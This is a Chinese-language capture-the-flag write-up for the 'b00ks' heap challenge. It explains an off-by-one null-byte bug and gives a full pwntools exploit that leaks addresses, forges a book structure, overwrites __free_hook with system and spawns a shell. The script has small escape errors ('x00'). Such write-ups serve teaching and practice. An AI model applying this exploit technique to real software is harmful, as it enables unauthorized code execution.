程序基本信息
程序漏洞
有一个读入函数,程序的所有输入都靠它读取,这个程序有个很明显的off_by_one漏洞,在输入时多输入一个0字符。
利用思路
程序开始运行时首先要求输入authorname,而这个输入保存在bss段0x0000559C506F3040处
程序有创建函数可以分别给book_name与book_descrption创建堆保存内容,并还会创建一个book的堆来保存name和descrption的指针。
book的指针保存在bss段0x0000559C506F3060处,距离authorname的保存位置有0x20个字节。
攻击步骤:
1、首先authorname输入0x20个字节,让多的一个0覆盖0x0000559C506F3060的最低位,也就是第一个book指针的最低位。
2、然后创建一个book1,book1的指针会把最低位的0覆盖掉,同时authorname与book1指针直接连在一起,没有x00相隔,所以我们打印处authorname的时候就可泄露出book1的地址。(这里要把descrption堆的地址调成book1地址末位被0覆盖的地址,比如说book1地址为0x00007812,那descrption的地址要布置成0x00007810)
3、创建一个book2,同时我们伪造一个book结构,通过编辑函数把这个book结构写入book1的descrption中,注意伪造的book要算好book1与book2之间的偏移,让伪造book的name和decrption指向book2的name和decrption。
4、修改authorname输入0x20个字节,让多一个0覆盖掉book1指针的最低位,相当于此时book1的指针指向book1的descrption。
5、这样我们通过打印book1的name和descrption即可泄露出book2的name与descrpiton地址。
6、libc与book1descrption之间为固定偏移,由此我们可以获得libc基址、system函数地址、free_hook地址。
7、编辑book1的descrption,让book2的descrption指向free_hook,编辑book2的descrption,让free_hook的值为system函数地址。
8、创建一个堆写入"/bin/shx00",释放这个堆,运行system(“/bin/sh/x00")即可getshell。
exp脚本
我一开始用one_gadget没有打通,本机对所有one_gadget的限制条件都不满足,所以后来换成system的方式来getshell。
from pwn import *
context.log_level="info"
#context.log_level='debug'
binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")
def createbook(name_size,name,des_size,des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id=int(io.readline()[:-1])
io.readuntil(": ")
book_name=io.readline()[:-1]
io.readuntil(": ")
book_des=io.readline()[:-1]
io.readuntil(": ")
book_author=io.readline()[:-1]
return book_id,book_name,book_des,book_author
def createname(name):
io.readuntil("name: ")
io.sendline(name)
def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)
def editbook(book_id,new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)
def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))
createname("A"*32)
createbook(128,"a",32,"a")
createbook(0x21000,"aaaa",0x21000,"bbbb")
#gdb.attach(io)
book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'x00'))
log.success("book1_address:"+hex(book1_addr))
payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload)
changename("A"*32)
#gdb.attach(io)
book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,"x00"))
book2_des_addr=u64(book_des.ljust(8,"x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))
libc_base=book2_des_addr + 0x43ff0
log.success("libc base:"+hex(libc_base))
free_hook=libc_base+libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols['system']
one_gadget=libc_base + 0xe666b
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
log.success('system:'+hex(system_addr))
editbook(1,p64(free_hook)*2)
editbook(2,p64(system_addr))
createbook(8,'/bin/shx00',8,'/bin/shx00')
#gdb.attach(io)
deletebook(3)
io.interactive()